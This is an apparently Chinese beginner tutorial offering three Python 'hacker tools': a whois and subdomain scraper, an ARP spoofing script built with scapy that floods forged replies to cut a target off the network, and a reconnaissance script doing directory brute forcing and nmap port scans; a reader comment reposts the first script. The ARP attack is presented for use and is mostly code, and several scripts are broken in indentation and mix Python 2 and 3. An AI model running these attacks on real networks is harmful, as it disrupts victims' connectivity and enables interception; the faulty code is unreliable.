新手Python黑客工具入门

新手Python黑客工具入门,提升新手python安全。

新手Python黑客工具入门

前言

为了满足新手对Python的追求,特写了三个初级Python入门工具。第一期写了三个初级工具,希望新手看完以后可以对Python的脚本有一个基本了解。高手请绕过此文章!

一件套:pythond requests模块,构造一个whois信息收集器;

二件套:Python编写一个arp断网攻击;

三件套:目录信息收集。

一件套前言: 带给想写项目但无从下手的朋友们,这些脚本都比较容易理解

简单梳理一下此工具需要具备哪些功能。脚本获取信息如下:

IP信息

子域名

备案

注册人

邮箱

地址

电话

DNS

具体操作如下:

我们要用到的模块是requests

python环境:py3

安装方法:

pip install requests或python steup.py install

通过http://site.ip138.com来进行查询

http://site.ip138.com/输入你要查询的域名/domain.html #这个目录用于查询IP解析记录

htp://site.ip138.com/输入你要查询的域名/beian.html #这个用于查询子域名

http://site.ip138.com/输入你要查询的域名/whois.html #这个用于进行whois查询

好了现在我们开始构造我们的代码,代码里面有详细的注释

#首先我们要导入requests模块和bs4模块里的BeautifulSouptime模块
import requests
import time
from bs4 import BeautifulSoup
#设置好开始时间点
strat=time.time()
def chax():
  #询问用户要查询的域名
  lid=input('请输入你要查询的域名:')
  #设置浏览器头过反爬
  head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
  #设置好url
  url="http://site.ip138.com/{}/".format(lid)
  urldomain="http://site.ip138.com/{}/domain.htm".format(lid)
  url2="http://site.ip138.com/{}/beian.htm".format(lid)
  url3="http://site.ip138.com/{}/whois.htm".format(lid)
  #打开网页
  rb=requests.get(url,headers=head)
  rb1=requests.get(urldomain,headers=head)
  rb2=requests.get(url2,headers=head)
  rb3=requests.get(url3,headers=head)
  #获取内容并用html的方式返回
  gf=BeautifulSoup(rb.content,'html.parser')
  print('[+]IP解析记录')
  #读取内容里的p标签
  for x in gf.find_all('p'):
    #使用text的内容返回
    link=x.get_text()
    print(link)
gf1=BeautifulSoup(rb1.content,'html.parser')
print('[+]子域名查询')
for v in gf1.find_all('p'):
  link2=v.get_text()
  print(link2)
gf2=BeautifulSoup(rb2.content,'html.parser')
print('[+]备案查询')
for s  in gf2.find_all('p'):
  link3=s.get_text()
  print(link3)
gf3=BeautifulSoup(rb3.content,'html.parser')
print('[+]whois查询')
for k in gf3.find_all('p'):
  link4=k.get_text()
  print(link4)
chax()
end=time.time()
print('查询耗时:',end-strat)

Clipboard Image.png

二件套: 使用python编写一个arp断网攻击 

你们知道arp攻击的原理吗?如果不知道不要紧,下面开始介绍

arp攻击原理:

通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量。攻击者只要持续不断发送arp包就能造成中间人攻击或者断网攻击。(PS:我们只需要scapy里的一些参数就可以实现)

scapy介绍:

Scapy是一个Python程序,使用户能够发送,嗅探和剖析和伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。

换句话说,Scapy是一个功能强大的交互式数据包处理程序。它能够伪造或解码大量协议的数据包,在线上发送,捕获,匹配请求和回复等等。Scapy可以轻松处理大多数经典任务,如扫描,追踪,探测,单元测试,攻击或网络发现。它可以替代hping,arpspoof,arp-sk,arping,pf,甚至是Nmap,tcpdump和tshark的某些部分。scapy的一个小例子:

ps:scapy正确的食用手册请认真看完介绍和部分基础:【传送门

安装scapy:

py2安装方法:

pip install scapy

py3安装方法:

pip install scapy3

更多的安装方法:【传送门

我的系统环境是:Kali Linux下

各位读者可以考虑一些使用以下系统环境:

Centos

Ubuntu

Mac os

ps:尽量不要使用windows,windows会报错!

缺少windows.dll,具体这个dll安装后会不会又报错官方没给出答复

编写攻击的脚本: Ether是构造网络数据包 ARP进行ARP攻击 sendp进行发包

    import os
	import sys
	from scapy.layers.l2 import getmacbyip
	from scapy.all import (
  	Ether,
  	ARP,
  	sendp
	)
    
    #执行查看IP的命令
	ifconfig=os.system('ifconfig')
	print ifconfig
	gmac=raw_input('Please enter gateway IP:')
	liusheng=raw_input('Please enter your IP:')
	liusrc=raw_input('Please enter target IP:')
	try:
    #获取目标的mac
  	tg=getmacbyip(liusrc)
  	print tg
	except Exception , f:
    print '[-]{}'.format(f)
    exit()
	def arpspoof():
 	 try:
    eth=Ether()
    arp=ARP(
        op="is-at", #arp响应
        hwsrc=gmac, #网关mac
        psrc=liusheng,#网关IP
        hwdst=tg,#目标Mac
        pdst=liusrc#目标IP
    )
    #对配置进行输出
    print ((eth/arp).show())
    #开始发包
    sendp(eth/arp,inter=2,loop=1)
  	except Exception ,g:
      print '[-]{}'.format(g)
      exit()
	arpspoof()

Clipboard Image.png

从受害者角度看

Clipboard Image.png

三件套: 想要挖web漏洞就必须做好前面的信息收集 

下面我们来写一个收集信息的脚本。

准备:

安装好requests,bs4模块: pip install requests pip install bs4 或者去下载好对应的模块压缩包 然后找到steup.py执行python steup.py install

思路: 使用requests.headers()获取http头部信息 通过htp响应码来判断robots是否存在 通过http响应码判断存在的目录 通过nmap判断开放的端口(PS:这里我是使用os模块来进行nmap命令扫描)我这边的nmap模块一调用,nmap就会出现停止运行 通过爬取某网站获得对应的whois,IP反查域名的信息。

开始:

import requests
import os
import socket
from bs4 import BeautifulSoup
import time
#获取http指纹
def Webfingerprintcollection():
  global lgr
  lgr=input('请输入目标域名:')
  url="http://{}".format(lgr)
  header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
  r=requests.get(url,headers=header)
  xyt=r.headers
  for key in xyt:
      print(key,':',xyt[key])
Webfingerprintcollection()
print('================================================')
#判断有无robots.txt
def robots():
  urlsd="http://{}/robots.txt".format(lgr)
  header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
  gf=requests.get(urlsd,headers=header,timeout=8)
  if gf.status_code == 200:
      print('robots.txt存在')
      print('[+]该站存在robots.txt',urlsd)
  else:
      print('[-]没有robots.txt')
robots()
print("=================================================")
#目录扫描
def Webdirectoryscanner():
  dict=open('build.txt','r',encoding='utf-8').read().split('\n')
  for xyt in dict:
      try:
        header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
        urljc="http://"+lgr+"{}".format(xyt)
        rvc=requests.get(urljc,headers=header,timeout=8)
        if rvc.status_code == 200:
            print('[*]',urljc)
      except:
          print('[-]远程主机强迫关闭了一个现有的连接')
Webdirectoryscanner()
print("=====================================================")
s = socket.gethostbyname(lgr)
#端口扫描
def portscanner():
  o=os.system('nmap {} program'.format(s))
  print(o)
portscanner()
print('======================================================')
#whois查询
def whois():
   heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
   urlwhois="http://site.ip138.com/{}/whois.htm".format(lgr)
   rvt=requests.get(urlwhois,headers=heads)
   bv=BeautifulSoup(rvt.content,"html.parser")
   for line in bv.find_all('p'):
       link=line.get_text()
       print(link)
whois()
print('======================================================')
#IP反查域名
def IPbackupdomainname():
    wu=socket.gethostbyname(lgr)
    rks="http://site.ip138.com/{}/".format(wu)
    rod={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
    sjk=requests.get(rks,headers=rod)
    liverou=BeautifulSoup(sjk.content,'html.parser')
    for low in liverou.find_all('li'):
        bc=low.get_text()
        print(bc)
IPbackupdomainname()
print('=======================================================')

Clipboard Image.png

三件套下载地址Github:【传送门

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  • 11  2018-12-06 回复 3楼

    # 首先我们要导入requests模块和bs4模块里的BeautifulSoup和time模块
    import requests
    import time
    from bs4 import BeautifulSoup

    # 设置好开始时间点
    strat = time.time()

    def chax():
    # 询问用户要查询的域名
    global gf1, gf3, gf2
    lid = input(‘请输入你要查询的域名:’)
    # 设置浏览器头过反爬
    head = {
    ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) ‘
    ‘AppleWebKit/537.36 (KHTML, like Gecko) ‘
    ‘Chrome/63.0.3239.132 Safari/537.36′}
    # 设置好url
    url = "http://site.ip138.com/{}/".format(lid)
    urldomain = "http://site.ip138.com/{}/domain.htm".format(lid)
    url2 = "http://site.ip138.com/{}/beian.htm".format(lid)
    url3 = "http://site.ip138.com/{}/whois.htm".format(lid)
    # 打开网页
    rb = requests.get(url, headers=head)
    rb1 = requests.get(urldomain, headers=head)
    rb2 = requests.get(url2, headers=head)
    rb3 = requests.get(url3, headers=head)
    # 获取内容并用html的方式返回
    gf = BeautifulSoup(rb.content, ‘html.parser’)
    print(‘[+]IP解析记录’)
    # 读取内容里的p标签
    for x in gf.find_all(‘p’):
    # 使用text的内容返回
    link = x.get_text()
    print(link)
    gf1 = BeautifulSoup(rb1.content, ‘html.parser’)
    print(‘[+]子域名查询’)
    for v in gf1.find_all(‘p’):
    link2 = v.get_text()
    print(link2)
    gf2 = BeautifulSoup(rb2.content, ‘html.parser’)
    print(‘[+]备案查询’)
    for s in gf2.find_all(‘p’):
    link3 = s.get_text()
    print(link3)
    gf3 = BeautifulSoup(rb3.content, ‘html.parser’)
    print(‘[+]whois查询’)
    for k in gf3.find_all(‘p’):
    link4 = k.get_text()
    print(link4)
    chax()
    end = time.time()
    print(‘查询耗时:’, end – strat)

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